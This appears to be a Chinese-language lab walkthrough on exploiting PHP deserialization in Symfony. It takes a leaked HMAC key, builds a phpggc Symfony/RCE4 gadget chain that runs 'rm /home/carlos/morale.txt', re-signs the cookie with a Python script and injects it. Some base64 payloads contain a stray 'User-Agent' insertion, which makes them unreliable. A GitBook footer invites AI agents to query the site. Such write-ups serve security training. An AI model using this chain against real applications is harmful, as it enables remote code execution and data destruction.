> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md).
# 使用预构建 gadget 链的 PHP 反序列化
### 利用预构建的 gadget 链进行 PHP 反序列化利用
本实验使用基于 PHP 序列化的会话机制，并使用带签名的 **cookie**. / 该应用基于当前的 PHP **框架**，且无法访问源代码。/ 尽管如此，未受保护的反序列化仍可通过预先存在的 **gadget 链**.
目标：/ 删除 `/home/carlos/morale.txt` 文件中的用户进行测试。
提供的标识符：
* **wiener : peter**
**会话 Cookie 分析**
拦截到的 Cookie（URL 编码）：
{% code overflow="wrap" %}
```bash
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D
```
{% endcode %}
解码后：
{% code overflow="wrap" %}
```json
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"}
```
{% endcode %}
该 Cookie 包含：
* `令牌` → 以 Base64 编码的 PHP 序列化对象
* `sig_hmac_sha1` → 令牌的 HMAC-SHA1 签名
`令牌` 解码：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04s67laskri65fqz";}
```
{% endcode %}
**环境识别**
从 `phpinfo()`:
* **PHP 7.4**
**密钥** 显示为：
**密钥** : ara511gik1dqity8135f7o7zu7k3yx2j
**Symfony 4.3.6 框架**
**选择 gadget 链**
使用 phpggc 可用的 gadget 列表 `phpggc`:
```bash
./phpggc -l
```
Symfony 4 允许使用通道 **RCE**. / 选择的链：
```
Symfony/RCE4
```
**恶意对象的生成**
使用的命令：
```bash
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'
```
生成的 PHP 序列化对象：
{% code overflow="wrap" %}
```json
O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}}
```
{% endcode %}
Base64 编码：
{% code overflow="wrap" %}
```bash
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```
{% endcode %}
**HMAC-SHA1 签名计算**
使用的 Python 脚本：
```python
import hmac, hashlib
secret = b"ara511gik1dqity8135f7o7zu7k3yx2j"
token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT
oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c
zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD
b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=
="
print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest())
```
获得的签名：
```
5270b838edbe7aec15da10cab298ac841d088c90
```
**最终 Cookie 生成**
Cookie JSON：
{% code overflow="wrap" %}
```json
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"}
```
{% endcode %}
URL 编码后，Cookie 被注入到 HTTP 请求中。
```bash
{"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"}
```
**结果**
带签名的 Cookie 被应用接受/ Symfony gadget 链被执行/ 该 `/home/carlos/morale.txt` 文件被删除
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.